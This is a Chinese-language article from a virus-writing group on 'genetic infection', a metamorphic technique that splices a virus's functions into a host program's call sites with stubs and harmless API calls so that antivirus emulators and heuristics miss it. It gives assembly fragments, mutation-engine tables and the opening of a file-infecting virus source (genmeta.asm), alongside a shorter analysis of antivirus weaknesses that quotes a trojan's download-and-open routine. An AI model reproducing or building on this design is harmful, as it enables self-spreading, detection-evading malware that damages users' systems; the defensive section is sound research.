_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ 病毒遗传感染技术及一种思路实现 ]...................<| |>......................[ by nEINEI/vxjump.net ]......................<| |>......................[ 2010-10-20 ]......................<| \>...................... [ neineit_at_gmail.com ] .................... CODE | Chromosome <--> Program Function Genes <--> Commands | Base <--> Bits 点突变: 1000 1001 1101 1000 ... mov ax, bx XOR 0000 0000 0000 1000 ... random number 1000 1001 1101 0000 ... mov ax, dx 染色体突变:倒序情况 CyHeSe: CyHeSe: cmp ax, 36 cmp ax, 36 jge BefCyHeSe jge BefCyHeSe cmp ax, 18 cmp ax, 18 jl SecCheck jl SecCheck mov dh, 1 sub ax, 18 sub ax, 18 mov dh, 1 SecCheck: SecCheck: mov cl, al mov cl, al ret ret 3.2.改进我们的的思路 以上均是从代码片段变形的角度来引入生物的遗传特性,下面我们从整体感染的角度来扩展我们的思路。 把每一个计算机病毒想象成是携带若干个”基因(DNA)”的代码片段,在感染宿主程序后产生了变异。也 就是病毒个体改变了宿主个体的“基因”,由此产生了进化。我们设想病毒是由两部分组成的代码序列结构: @无效基因 + *有效基因 = virus 有效基因:在感染过程中的主要因素,是主要参与感染的代码部分。 无效基因:感染的中的非主要因素,不参与病毒代码的感染。 @ * @ * @ @ * @ @ -------------->病毒个体 | | |  | | | | | | | | | | | | | | | \|/ \|/ \|/ \|/ \|/ \|/ \|/ \|/ \|/ # # # # # # # # # -------------->宿主程序 | | | | | | | | | | | | | | | | | | \|/ \|/ \|/ \|/ \|/ \|/ \|/ \|/ \|/ # * # * # # * # # -------------->感染后宿主 很明显,我们需要把病毒代码重新设计成带“基因”含义的的形式,然后以这些“基因函数”的形式同被感染的宿 主程序进行混淆,在混淆前我们先确定不需要的病毒”组件“。 3.3.舍弃掉解密器/收缩器 1)不要解密器 -- 让病毒的”基因“ 与宿主自然混合。解密器是多态病毒开始运行部分,一旦获得程序控制权,就执 行anti-av 、解密等操作,从anti-virus的角度看“病毒行为”过于明显。 2)不要收缩器 -- 让病毒的“非基因”部分以变形的形式存在,利用指令模板控制好,不产生过度膨胀,自然也不需要 收缩器。这部分是编写变形病毒最复杂的地方,通过下面的方法可以却掉这部分的操作,我们自带一个”干净“的指令模板, 在指令模板基础进行变形,而不是对变形后的代码本身进行收缩,膨胀。 这样病毒代码只有与宿主程序混合的一部,和自身变形的一部分,从整体看病毒代码完全变形,而执行过程中本身不存 解密过程,在一代一代的感染中能完全的变形,且不会代码膨胀。 3.4.构造一个新的变形机制 遗传感染的变形机制主要在于同宿主的混淆,及非基因的代码部分的自变形。构造步骤有一下3点: 1) 抽出病毒中若干个函数当作”基因“,与宿主程序进行交叉混合,这些交叉点位置随宿主文件的不同而变化。 2)在交叉点的位置进行突变,加入anti-av的种种手段,这样宿主代码/病毒基因/anti-av代码形成了可变的区域,该区 域我们叫做stub。 3)后面的代码在感染过程中,附加在宿主节中,或者是扩展宿主的一个节。该部分在感染中以变形的方式写入。 通过人为的构造病毒“基因函数”,可以把任意的病毒执行过程写出如下的形式。 START: ;基因函数 call my_DNA1 call my_DNA2 call my_DNA2 call my_DNA3 call my_DNA4 ... v_code: include virus_delta.inc ; 重定位处理函数 include virus_get_k32_base ; 获得kernel32.dll 基址 ... vv_code: vir_vars VIR_STRUCT <> ; 病毒自身使用变量的结构 vEnd: END START 这样任何编写的病毒代码都是由这样call my_DNA 这样的”基因“函数组成,这些函数将病毒的执行周期划分成了多个阶段, 我们让这些独立的具有执行周期的“基因”函数去入侵宿主程序并与其混淆。 感染前后的一个对比图: +----------+ +------------------------------+ | | 感染宿主 |被修改交叉点的宿主文件 |----、 | virus |---------------> +------------------------------+ | | | |宿主代码/病毒/anti-av(stub) |<---. | | | |----、 | | +------------------------------+ | +----------+ |metamorphism code |<-- / +------------------------------+ |encrypt data | +------------------------------+ 3.5.病毒"基因"的提取 所谓病毒的”基因“也就是我们人为规定的那些能起到分解病毒执行周期的函数,而病毒的编写因人而异,代码编写的思路, 喜好/偏好,技巧都是影响因素。在此,我们可以把清晰展现病毒执行功能函数称为“基因”函数,而其他辅助病毒编写的执行函数 称为“工具”函数。下面是我的一种病毒“基因”函数的提取思路。 ”基因函数“包括6个: my_delta (重定位函数) my_get_k32_base_addr (获得kernel32基址) my_get_apis_addr (获得病毒需要的API) my_find_director (查找要感染的文件) my_payload (执行病毒攻击载荷) my_exit (退出) 工具函数包括不限以下这些: my_strlen (计算一个字符串长度) my_crc32 (计算一段buff的crc32值) my_infect_file (感染一个指定文件) my_lde_opsize (计算一个指定位置的指令长度) my_alloc_virus_body (分配一段内存空间给病毒体) my_find_jump_or_call (搜索宿主的call/jump指令) my_safe_api_address (获得safe-api的地址) my_gen_and_proc_code (产生一段遗传感染的代码) my_mig (产生一个指定的随机寄存器指令) ... 3.6.如何确定“基因函数”的数量? 可看到,如果以上面的方式来提取确定“基因”函数的话,是没有定量标准的,那么在感染之前确定多少个“基因”函 数为宜呢? 我们可以通过编写程序测试一下,常规程序的代码段call 指令的数量,主要检测以下几种方式中的call 指令: 0xff10 ~ 0xff13 - call [Rx] eax ~ edx 0xff16 ~ 0xff17 - call [Rx] esi ~ edi 0xffd0 ~ 0xffd7 - call Rx eax ~ edi 0xff15      - call [addr] 间接寻址            0xe8 - call addr 直接寻址 3.7.为什么选择call指令来作为基因函数的数量测试依据? 望病毒能与宿主程序处于同一生存周期,尽量”延长“病毒的执行过程,这样使得反病毒虚拟机在模拟过程中, 或因anti方式自动退出或无法静态跟踪,或因宿主程序本身的无恶意行为使得虚拟机提前结束。这样,自然的构成了病毒 anti手段,而不是另外编写anti代码。 3.8.一些常用程序的代码段call的统计 1) 统计一些系统目录下的文件 \%system32%\ 目录下的文件 migpwd.exe (7) mmc.exe (7) mqtgsvc.exe (15) 2) 应用程序的的目录 ...\avp\ 目录下 avpcc.exe (9) AVPExec.exe (10) AVPInst.exe (10) klav.exe (8) 3) 用户量大的应用程序目录 ...\360safe\ 目录下 360Diagnose.exe (11) 360FunPro.exe (9) 360leakfixer.exe (8) ... 结论 : ”基因函数“的选取上4~6较为合适。 3.9.宿主的哪些位置可作为交叉点? 1)能体现出宿主程序"处于运行中某阶段“的指令 ,显然call 指令是最好的一个选择。因为宿主的call中,要么是API 调用,要么是自定义的函数调用,这些动作都是AV检测要处理的地方,AV检测无法预知一个合法的宿主程序执行一个自定 义call 指令后要发生的行为,而且也可能因为宿主的合法行为而放弃检测,所以我们要寻找的位置在call指令后是很好的 一个选择。 2 )选择的位置要有随机化 这里,我们利用z0mbie统计出的一般程序的指令使用频率来作为随机化的一个依据。当然你还可以有其它任何有趣的想法。 8B 6588971 15% mov modr/m FF 2736426 6% push modr/m E8 2509099 6% call 83 2240885 5% cmp/add modr/m (including add esp, xx after call) 89 2045133 4% mov modr/m 8D 1573296 3% lea modr/m 50 1423289 3% push eax 74 1269798 3% jz 6A 1064820 2% push xx 85 1001107 2% test r,r ...... 3) 可以把宿主程序看作是由这些高频指令分割组合而成,而这些位置就是交叉点。 我们在发现宿主call 指令后,随机的按照这些高频指令来寻找一个合理的交叉感染点位置。 1)随机选择若干个高频指令中某一个指令作为本次搜索的定位点指令fre_ins。 2)在搜索到宿主代码段call 指令后,匹配call 后面指令是否出现fre_ins指令,若有则记录该位置偏移cross_ins_off并 转向步骤3。 3)分析cross_ins_off值距离下一个call之间是否有5字节,不足则cross_ins_off += calc_ins_len,跳向步骤1,继续进 行寻找,大于等于5字节则记录下该位置及长度cross_ins_len,作为一个可选的交叉点,进入步骤4。 4)产生一个新的fre_ins,重复步骤2 5)记录下本次搜寻到的交叉点个数,除以病毒基因函数个数,得到一个平均值cp_average。 注意:要查找到交叉点处指令不能包含操作ebp,esp的指令,跳转指令。 当用上面算法的得到的cp_average < 1时,则采用基本查找方式。仅检测非ebp,esp操作,且存在>=5字节的空间的指令位置, 记录该值ins_off,若该方式得到的cp_average仍然小于1,那么不进行感染。 因为得到这些ins_off值本身可能处于jz,jnz 等条件分支中,所以为了增大感染几率,假设cp_average = N,那么每N个连续的 cross_ins_off的位置,需要用同一个病毒的DAN(i)函数去hook掉。(图3)是winxp-sp2下记事本notepad.exe的入口点,那么它的 两个可能交叉点如下,此处参见XCON2010-PPT. 3.10.Stub区域的组成元素 1)将宿主ins_off位置抽出若干条大于5字节指令,copy到stub区域,记为元素1。 2)病毒的“基因函数”,以后将记为DNA函数记为元素2。 3)将Safe-API记为元素3,这里用Safe-API是为了对抗动态虚拟机启发式分析。Safe-API是kaze在《Stealth api-based decryptor》中 首次提出的,是指“可随机构造API函数的输入参数值,然后调用它,除了返回错误码外,不影响程序运行的API函数”。 因为Safe-API的加入不会影响感染后程序的执行,而且反病毒虚拟机的依赖于宿主导入函数的识别,Safe-API是我们感染时写入的, 这样可以导致动态检测失效。 下面列出一些系统模块中的Safe-API函数: user32.dll ActivateKeyboardLayout (2) GetCaretPos (5) TileChildWindows (2) ... kernel32.dll UTUnRegister (1) IsDBCSLeadByteEx (2) FindNextVolumeMountPointA(3) ... Gdi32.dll AbortDoc (1) Chord (9) CreateBitmap (5) ... 3.11.Safe-API的参数问题 为了是stub区域的看起来不是"太怪",我们需要产生一个看似合法的safe api 参数 ,否则都是随机产生数字,可能会导致 因启发式报警。 ;@1 产生一个合法的地址参数,0 ~ 1000h 随机数字+ 0x401000 基址 ;@2 产生一个1000h 的整数,仿真句柄 ;@3 产生一个7c000000h为基址的参数,仿真kernel32基址 ;@4 产生一个80000000h的数字 ;@5 产生一个数字0 ~ 10 ;@6 产生一个0 ;@7 push eax ;@8 push ebx ;@9 push [ecx+eax]; ;@10 push edi ;@11 push [esi]; ... 其中这些操作寄存器的参数要慎重,因为可能产生”非法“,内存寻址的地址。 3.12.Stub 区域的构造 针对宿主程序交叉点的修改可以有几种常见的方式: 1) 直接修改为call xxxxxxxx 本文使用的方式。 2 )直接修改为jmp xxxxxxxx 因和壳的某些方式相似,容易引起一些过度敏感的启发式扫描报警。 3 )push xxxxxxxx 该方式同上,也可能会引起启发式报警。 ret 4 )如果宿主的交叉点可用空间足够大,可使用一些技巧,混淆直接获取控制的方式,比如jmp Rx,这样对抗静态启发式分析,例如 ... push Rx ; 随机压入一个宿主执行环境当中的寄存器 mov Rx,0xf8735671 add Rx,0x7ccbcd5 ;此时Rx = 0x401346 call Rx ;跳向了stub区域 Pop Rx 总共需要13个字节,当然我们可以写出更短的指令完成类似功能。 总结:最好的方式是每次寻找宿主交叉点时,随机的选择其中一种。 3.13.stub区域的构造规则 1 随机产生0~N个safe-API,用于本次stub的构建。 2 随机的组合元素1,2,3也就是宿主代码,safe-API,病毒DNA的执行顺序。 3 在产生这一区域的开头和结尾随机插入垃圾数据。 4 需要计算两种情况: 1) 如果cross_ins_len == 5 ,那么因为修改了宿主的为call xxxxxxxx,刚好此时堆栈空间为宿主的下一条指令, 那么在stub 控制区返回宿主时,直接写入ret. 2) 如果cross_ins_len > 5,则在stub控制区恢复堆栈,然后用jmp 返回宿主。 图(4)/(5)是同一程序被感染后的不同感染效果:此处参加XCON2010-PPT 3.14.构造宿主/病毒的双执行环境 为何要构造双执行环境? 先看一个流程控制流图,正常的执行流程 [===>] 被修改后的执行流程 [--->] +-------+ +-------+ +-------+ +-------+ +-------+ +-------+ |host1 | ======> | host2 | ======> | host3 | ======> | host4 | ======> | host5 | .....> | end | +-------+ +-------+ +-------+ +-------+ +-------+ A +-------+ | A | A | A | A | | | | | | | | | | | -----] | [------------] | [-------------] | [-----------] | [---------] | [ \|/ | \|/ | \|/ | \|/ | \|/ | +-------+ +--------+ +---------+ +--------+ +--------+ |virus1 | ======> |virus2 | ======> | virus3 | ======> | virus | ======> | virus5 | +-------+ +--------+ +---------+ +--------+ +--------+ 1)遗传感染与以往病毒技术的最大不同点是,遗传感染将病毒转化为宿主程序指令流的若干个部分。 2)以往的病毒技术,无论使用何种复杂的方式,入口模糊,嵌入式解密方式,多态,变形等等,但对宿主程序的控制权 都是一旦获得就不再释放,直到病毒程序感染完毕退出为止。 3)对于虚拟机启发式检测来说,连续的病毒代码操作,是容易被当作可疑行为的,如连续的内存地址解密,查找 kernel32基址,等等... 4)像Nexiv_der 病毒那样,病毒代码的执行与具体环境有关,增加分析的难度。 5)所以将病毒的DNA函数分段的与宿主程序混合,在很大程度上起到对抗虚拟机检测的的功能。要做到的是尽量和宿主程 序同步结束,而不是上来就获得控制权,也不是最后获得控制权。 首要任务是保存宿主程序的当前运行时寄存器的值host_rgs_ctx,及病毒程序运行时的寄存器值virus_rgs_ctx. 方案1) 宿主,病毒共用esp滑动,把宿主/病毒的数据保存在堆栈的低端地址处,每次执行时读取和恢复。存在的问题是, 可能宿主程序本身的操作会覆盖掉这些值,导致意想不到的崩溃。 方案2) alloc 一段空间,分别给host ,virus 用, 但在执行stub 区域时,运行DNA(1),DNA(2)时并没有获得具体病毒使 用的API地址,不能使用alloc 函数,无法分配,如果这些操作写入DNA(1)中,可能会引起启发式扫描器的怀疑。 方案3) 宿主程序的寄存器组在stub区域用pushad ,pop 保存及恢复,病毒DAN执行后保存寄存器值到病毒变量环境中,本文 采用方案3)方式。 在执行病毒DNA(1) 时,保存ebp的值到某处,因为执行过程中ebp值可能会变,而此时还不知道病毒的具体变量地址,故只能写入 代码中间的空间处保存。 ebp_to_this proc push ebx call __ebpthis __ebpthis: test eax,eax ;外部传入的参数,eax == 1 则写入当前ebp值到后面的空间, jz _r ;eax == 0 则读取该 空间的值到ebp jmp _pop db 90h,90h,90h,90h _pop: pop ebx ;得到__ebpthis的加载地址 add ebx,6 ;6是 test eax,eax jz _r , jmp _pop 3条指令总长度 _w: mov [ebx],ebp ;写入当前ebp到_ebpthis处 pop ebx ret _r: pop ebx ;读取当前变量到ebp add ebx,6 mov ebp,[ebx] pop ebx ret ebp_to_this endp 除病毒DNA(1)外,每一个病毒DNA函数的开头和结尾都需要调用保存病毒寄存器的函数,例如: my_DNA proc ... call my_restore_ctx_to_rgs ; 恢复上次执行病毒DNA函数时的寄存器环境到当前的真实cpu寄存器中 ... call my_save_rgs_to_ctx ; 保存本次操作的后的真实cpu寄存器环境到病毒自身的寄存器环境。 ret my_DNA endp 需要注意事的是: 1) 在my_restore_ctx_to_rgs时,需要使用一个寄存器Rx进行赋值操作,Rx寄存器要最后恢复,因为此时Rx值已经改变, 同时esp寄存器不需要恢复。 2) 在my_save_rgs_to_ctx时,此时esp并非病毒真实环境的esp,进入本次call调用及call DNA 时均压入了地址,故真 实的esp = esp + 8 3) 因为选择的交叉点可能存在于宿主程序不同分支中,所以可能存在同一病毒DNA函数多次调用的可能,故需要为每一个 DNA函数设定一个序号0 ~ n),判断符合当前序号后,才能继续执行。 my_get_k32_base_addr proc call my_restore_ctx_to_rgs ;首先恢复病毒寄存器环境 cmp [ebp].vir_cur_exec_dna,1 ;检测是否是执行序号1 jnz k_exit mov [ebp].vir_cur_exec_dna,2 ;执行序号加1为下一个DNA做函数判断依据。 my_get_k32_base_addr proc 3.15.宿主/病毒及感染后的重定位 重定位的方式有两种: 1)一种是在分析完一个交叉点后就进行重定位,但这要有一个固定值的边界值,也就是stub的大小要固定,用此作为重定位的相对开始位置,病毒的其它代码以此位置为开始位置。(本文使用了该方式) 优点:编写容易 缺点:容易被静态启发检测跟踪 2)一种是在病毒的stub区域生成后,对所有的交叉点统一进行重定位,但这要记得下每一个要重定位的位置偏移,比较麻烦。 优点:可生成大小自由可控制stub区域,有效对抗静态启发分析。 缺点:重定位的过程比较麻烦 在本例中重定位的修正主要涉及4个主要类型: 1) 对于宿主程序交叉点的重定位修正 2) 病毒自身DNA函数的重定位 3) Safe-API 的重定位 4) 跳回宿主程序的重定位 [A]原始宿主程序/修改后的宿主程序/病毒stub : 1 获得宿主程序的虚拟地址va_host_addr 2 获得病毒stub部分的虚拟地址va_vir_stub_start 3 获得当前要写入的地址相对stub部分的偏移值 vir_off = raw_edi - raw_stub 4 要跳向的目的地址 va_vir_cross = va_vir_stub_start + vir_off 5 修改宿主程序的重定位值 dif = va_vir_cross - va_host_addr - 5 [B]病毒自身DNA函数的重定位 1 计算病毒DNA函数相对v_code的偏移off1 2 计算当前要写入的位置距离stub开头的偏移off2 3 自身重定位的值dif = off1+off2 -5 [c]Safe-API 的重定位 1 获得Safe-API虚拟地址va_sf_off 2 获得病毒stub部分的虚拟地址va_vir_stub_start 3 获得当前要写入的地址相对stub部分的偏移值 vir_off = raw_edi - raw_stub 4 获得当前要写入Safe-API的虚拟地址 va_vir_cur = va_vir_stub_start + vir_off 5 要跳向Safe-API的数值 dif = va_off - va_sf_off - 5 跳回宿主程序的重定位方式同上面方式类似,不在赘述。 [D]跳回宿主程序的重定位方式 同[C] 3.16.完整的遗传感染变形方式 1)stub 部分已经可随机的产生和宿主混合的代码,同时具备对抗动态虚拟机,静态启分析的功能。 2) 后面的病毒代码以变形的形式生产,分为两部分, a)加密的指令模板 b)生产的变形代码空间 3) 辅助引擎: 1)微型的变形引擎 2)指令生成器(MIG) 3)无效指令生成器。 +--------------+ +-------------------------------------+ | STUB | | 宿主/病毒/Safe-API/混淆指令/垃圾数据| +--------------+ +-------------------------------------+ | 变形代码空间 | 感染后扩展 | 生产新的混淆代码 | +--------------+ ------------> +-------------------------------------+ | 指令模板 | | 加密的指令模板 | +--------------+ +-------------------------------------+ | 随机产生垃圾数据 | +-------------------------------------+ 微型的变形引擎:这个是对BME32的一个自行扩展 MICRO_META_DATA STRUC MMD_ROUTINE DD ; 指令处理例程 MMD_SIGNED DB ; 可否扩展 MMD_OPCODE DB ; 指令的识别码 MICRO_META_DATA ENDS dd offset mmd_stosw ==> 66:AB stos word ptr es:[edi] db 1,66h,2,0ABh,0 (*)--> 66:8907 mov word ptr ds:[edi],ax (*)--> 83C7 02 add edi, 2 dd offset mmd_push_exx ==> 52 push edx db -1,50h,0 (*)--> ff f2 push edx (*)--> 50 push eax 8b c3 mov eax,ebx 50 push eax 58 pop eax [0x04].遗传感染思路的扩展 4.1.发挥想象力,构造出更多可利用的病毒基因? 因为普通的病毒程序基因我们分别是提取了执行过程中的几个部分,如果是加密病毒呢?假设一个普通的加密病毒使用如下方式加密。 algo1 (add/xor/sub) -- key1 algo2 (rol/ror) -- key2 要加密的数据x,加密后的数据y x = algo1 (key1 ,x) y = algo2 (key2,x ) 我们可以把解密的汇编代码拆解为若干个部分 mov ecx,VIRUS_SIZE --------------------- (1) mov edi, offset ENCRYPT_DATA --------------------- (2) de_code: add/xor/sub dword ptr[edi],key1 --------------------- (3) rol/ror key2 --------------------- (4) add edi, 4 --------------------- (5) loop de_code --------------------- (6) 1拆解的每一条指令都是当作病毒的DNA函数,混杂在无效指令当中,当作一个DNA执行函数。 2在这个解密算法当中,还可以加入一些不影响解密的指令进来,每次调整这些指令顺序,这样DNA函数本身就具有 了可变的顺序,可以生产多种组合方式。 3对于(3),(4),(5),(6)包含loop的结构,需要靠执行序号判断是否执行到了DNA(6),对于执行到DNA(6)后,3,4, 5自动跳向下一个DNA函数,而不是ret。当然这样的做法会导致产生的DNA函数比较空间占用较大,因为填充过程的 指令数量是随机产生的。 4解密完成后,跳向病毒代码空间执行。 4.2.还能有哪些扩展思路? 如果加/解密的方式更加复杂? 如果可以对变形病毒提取基因? 如果利用遗传感染做“外壳”,解密后的是木马程序? 如果不使用Safe-API,改从MSVBVM60.dll ,MFC*.dll中寻找一些”东西“来做变异?... 这种遗传感染的思路足可以对抗反病毒程序的检测,至于能不能做好完全是编写上的谨慎加技巧。当然,一点把柄都不留下也是很非常困难的。 [0x05].AV检测的弱点剖析 5.1.特征检测 该方式受变形代码的影响非常大,很容易失效。虽然反病毒引擎中特征提取的方式非常多,可以根据病毒库的不同对应不 同的特征提取方式,但针对多态/变形情况,2~ 5字节的特征是引擎在效率及误报方面所不能承受的。 5.2.静态启发式检测 受加壳,反汇编深度,花指令技巧,系统特性等因素困扰,不能完全还原出程序的具体流程,但静态启发式检测同样具有 无可替代的优势,它不受代码环境,程序分支影响,是对动态启发式分析的最大程度补充。 1)除了利用分析PE文件特异性来确定是否存在被感染的可能外,检测的手段还是偏少,应结合文件代码段的分析。 2)缺少对的同义API函数的语义识别,比如 [CFile.OpenFile ] [fopen] [CreateFileA/W], [CreaeProcess ] [ShellexEcute] [WinExec] 等均是相同含义,但对静态分析来说却是不同的“对象”,这样会导致规则冗余。 3)需要增强文件格式规则的分类,防止exe规则与dll规则混用。 4)增强对特异性的分析而不是一定要恶意行为,例如对代码段分析,如果一个程序连续调用10多次CloseHandle,则可以列为 可疑级别,该规则对Trojan-Dropper.Win32.Agent家族某些样本有效。 5)增强关联性分析,例如分析恶意程序(Trojan/DL/W32/Delf.nl)静态启发式分析到了 CODE:00412835 E8 EE 0B FF FF call sub_403428 CODE:0041283A loc_41283A: CODE:0041283A 6A 01 push 1 ; nShowCmd CODE:0041283C 6A 00 push 0 ; lpDirectory CODE:0041283E 6A 00 push 0 ; lpParameters CODE:00412840 68 64 2D 41 00 push offset File ; "http://aa.xz26.com/gg/aili.html" CODE:00412845 68 84 2D 41 00 push offset Operation ; "Open" CODE:0041284A 6A 00 push 0 ; hwnd CODE:0041284C E8 2F 30 FF FF call ShellExecuteA 如果此时报警,则该规则会产生误报,因为受自身分析程度的影响,不能完全符合一种病毒家族的规则,这时需记录该位置, 待全部分析完毕,继续向该位置前,后扫描,寻找更多的“依据”,对该样本,向后扫描会出现创建临时文件的行为。 5.3.动态虚拟机启发式检测 反病毒技术发展到今天,动态虚拟机的启发式已经非常成熟。不仅仅是应用在对抗多态/变形病毒的方面,而是集脱壳启发式 分析一体化的检测方案,但目前仍然存在以下几方面问题。 1) 受程序实际分支条件困扰,触发发条件影响,可能被病毒引向另一个流程。 在bytehero team动态虚拟机仿真环境下执行情况. 例如 Trojan.Win32.Small.cif (加PECompact 2.x壳) 0x9000036B(0x03EDF88C)--->0x00415221 VirtualAlloc 0x90000241(0x03EDF88C)--->0x05200BAC LoadLibraryA 0x90000197(0x03EDF88C)--->0x05200BCE GetProcAddress 0x90000197(0x03EDF88C)--->0x05200BCE GetProcAddress ... 0x90000333(0x03EDF88C)--->0x00409623 SetUnhandledExceptionFilter 0x9000020E(0x03EDF88C)--->0x004095CF HeapSize 0x900001AC(0x03EDF88C)--->0x0040561A GetStartupInfoA ----》已经完成脱壳,此处调用静态分析,下方分析的结果是动态没有分析到恶意行为,直接退出。 0x90002F75(0x03EDF88C)--->0x0040104D GetModuleFileNameExA 0x900001B6(0x03EDF88C)--->0x00401086 GetSystemDirectoryA 0x9000013B(0x03EDF88C)--->0x00403BD7 GetCurrentProcess 0x90002F75(0x03EDF88C)--->0x00403BDD GetModuleFileNameExA 0x9000013B(0x03EDF88C)--->0x004028CA GetCurrentProcess 0x90002F75(0x03EDF88C)--->0x004028D0 GetModuleFileNameExA 0x9000004F(0x03EDF88C)--->0x0040298C CreateFileA 0x900000B6(0x03EDF88C)--->0x004010D5 ExitProcess Trojan.Win32.Small.cif在静态分析中的情况: 0xdb : 0x40372c call[3] - > RegCreateKeyExA 0xdc : 0x40378c call[3] - > RegSetValueExA 0xdd : 0x40379b call[3] - > RegCloseKey ... 0x10c : 0x403f51 call[5] - > FindNextFileA 0x10d : 0x403f5f call[5] - > GetLastError 0x10e : 0x403f66 call[5] - > FindClose 0x110 : 0x402207 call[4] - > GetFileAttributesA ... 0x3a8 : 0x4032bd call[3] - > GetCurrentProcess 0x3a9 : 0x4032c4 call[3] - > OpenProcessToken 0x3aa : 0x4032d9 call[3] - > LookupPrivilegeValueA 0x3ab : 0x403301 call[3] - > AdjustTokenPrivileges 0x3ac : 0x40330e call[3] - > CloseHandle 0x3b1 : 0x403fe6 call[3] - > GetCurrentDirectoryA 0x3b2 : 0x40405e call[3] - > CreateFileA 0x3b3 : 0x404095 call[3] - > CloseHandle 0x3b6 : 0x4040ef call[3] - > GetSystemDirectoryA 0x3b7 : 0x404194 call[3] - > CloseHandle 可以看到动态的分析受程序引入了两个执行分支,没有发现恶意程序,在脱壳后执行静态分析,则可以发现 搜索文件,进程提权,注册表操作等行为。 2)因为不可能仿真所有的windows API函数,那么anti-vm 也就是变得容易了,这方面只能不断的去完善。 3)一些特殊的结构没有模拟,例如: __CxxFrameHandler 方式触发的病毒代码 typedef struct _cxx_func_descr { u32 magic; // 0x19930520 u32 unwind_count; u32 *unwind_info; u32 tryblock_count; u32 *tryblock; // 关键跳转数据 ,指向下面的结构try_info u32 unkown[3]; }cxx_func_descr; typedef struct _try_info{ u32 start_level; u32 end_level; u32 catch_level; u32 catchblock_count; u32 *catchblock_info; //关键跳转数据,指向下面的catchblock 结构 }try_info; typedef struct _catchblock_info{ u32 flags; u32 *type_info; u32 offset; u32 *call; // catch 块处理函数 }catchblock_info; [0x06].未来可能的检测对抗? 目前在AV-Soft中静态/动态启发式分析是独立存在的模块,唯一的联系是受引擎的调度控制。 面对未来复杂的病毒感染技术中可能要联合起来分析,比如单独的静态是不能分析修正过的重定位信息的,下面这一句是被修正 过的重定位数据,因为没有导入该函数,静态检测将无法识别7C46E012这个API的地址值,需要动态分析辅助。 00404044 53 push ebx 00404045 E8 120E467C call kernel32.Toolhelp32ReadProcessMemory 0040404A E8 EFCFFFFF call vir.0040103E 同样动态可以利用静态的流程跳跃,排除一些无效分支干扰。 在这里我有一个想法,就是随着anti-virus技术的完备可否设计出即时执行虚拟机技术,也就是能在任何代码环境下模拟执行任何 位置的代码,不受虚拟环境影响,比如在虚拟执行到某处发生异常,但不需要退出检测环境,而是能根据其他分析手段继续跳向某处 代码虚拟执行,这将极大的提高动态虚拟机的容错手段,对分析复杂病毒及检测都是十分重要的意义。 Reference [1] SPTH 《Code Evolution: Follow nature's example》 [2] saec. 《Evolutionary Virus Propogation Technique》 [3] kaze. 《Stealth api-based decryptor》 [4] z0mb1e 《Opcode Frequency Statistics》 [5] peter szor . 《The Art of Computer Virus Research and Defense》 [6] J. S. Bach. 《Artificial intelligence and viruses》 [7] Benny. 《Benny's Metamorphic Engine for Win32》 [8] 胡仕成. 《Virus Co-Evolutionary Genetic Algorithm》 //开始吧~~ //payload --> messagebox //--------------gen_virus by nEINEI --------------------------------------------------------------------- ;-------------------------------------------------------------------------------------------------------- ;|genmeta.asm | ;-------------------------------------------------------------------------------------------------------- .586 .model flat,stdcall option casemap :none include gm_macro.inc include windows.inc include genmeta.inc include kernel32.inc include user32.inc includelib kernel32.lib includelib user32.lib ;---------------------------基因函数----------------------------- ;重定位 (1) my_delta proto ;获得kernel32 基址 (2) my_get_k32_base_addr proto ;获需要的api地址 (3) my_get_apis_addr proto ;获得指定的一个api my_get_a_apis_addr proto ;设置当前目录 (4) my_set_director proto ;遍历目录 (5) my_find_director proto ;搜索文件 search_file proto ;执行payload (6) my_payload proto ;退出 (7) my_exit proto ; -------------------------- 工具函数 ---------------------------- ;计算strlen my_strlen proto ;计算crc32 my_crc32 proto ;感染文件 my_infect_file proto ;打开一个指定文件 my_open_file proto ;计算一个指令长度 my_lde_opsize proto ;构造一个病毒的随机大小空间 my_alloc_virus_body proto ;释放一个病毒随机大小空间 my_free_virus_body proto ;搜索宿主可能的跳转指令 my_find_jump_or_call proto ;获得safe api 地址 my_safe_api_address proto ;混淆宿主与病毒基因及safe api my_gen_and_proc_code proto ;构造一个遗传代码 my_cons_genetic_code proto ;保存当前寄存器环境到病毒寄存器组 my_save_rgs_to_ctx proto ;恢复病毒寄存器组到当前寄存器环境 my_restore_rgs_to_ctx proto .code stub_size = 500h s_a_len = 10 vLen = offset vEnd - offset v_code ; stub 已经有混淆完成,从真正代码开始算起 vvLen = offset vEnd - offset vv_code ; 加密区域的大小 dLen = offset v_code - offset START ; 不加混淆的DNA stub部分的大小 obLen = vLen + stub_size ; 混淆后要copy的病毒大小 encrypt_size = vEnd - encrypt_start ; 加密的长度 START: call my_delta call my_get_k32_base_addr call my_get_apis_addr call my_set_director call my_find_director call my_payload call my_exit v_code: include gm_decrypt_code.inc ; 加解密处理函数 vv_code: include gm_tools_api.inc ; 工具函数 include gm_reloc.inc ; 重定位 include gm_get_safe_apis_address.inc ; 获得safe apis函数的基址 include gm_get_k32_address.inc ; 获得kernel32函数基址 include gm_get_apis_address.inc ; 获得若干个api函数地址 include gm_get_a_api_address.inc ; 获得一个api函数地址 include gm_find_director.inc ; 遍历当前目还录文件 include gm_payload.inc ; 执行payload include gm_infect_or_exit.inc ; 感染和退出 include gm_fix_file.inc ; 修改文件 include gm_lde.inc ; 长度反汇编引擎 include gm_find_jump_or_call.inc ; 搜索宿主程序可能的跳转 include gm_gen_and_proc_code.inc ; 混淆宿主与病毒代码 include gm_rand.inc ; 随机产生函数 include gm_misc.inc ; pe地址转换 include gm_save_or_restore_ctx.inc ; 保持及恢复病毒ctx include mig.inc ; 仿真指令生成器 ;-----------------------------------safe api 列表---------------------------------------------------------- ;kernel32 中的safe api ;---------------------------------------------------------------------------------------------------------- ke_start: kernel32_safe_api SAFE_APIS_STRUCT <07f449663h,1,0> ;AddAtomA SAFE_APIS_STRUCT <07aa21c0ah,2,0> ;AssignProcessToJobObject SAFE_APIS_STRUCT <015f33f0ah,2,0> ;IsDBCSLeadByteEx SAFE_APIS_STRUCT <0be363019h,0,0> ;CloseProfileUserMapping SAFE_APIS_STRUCT <007c8a8b8h,1,0> ;ConvertDefaultLocale SAFE_APIS_STRUCT <0a0ff286ah,1,0> ;DebugActiveProcess SAFE_APIS_STRUCT <01fd8bde1h,3,0> 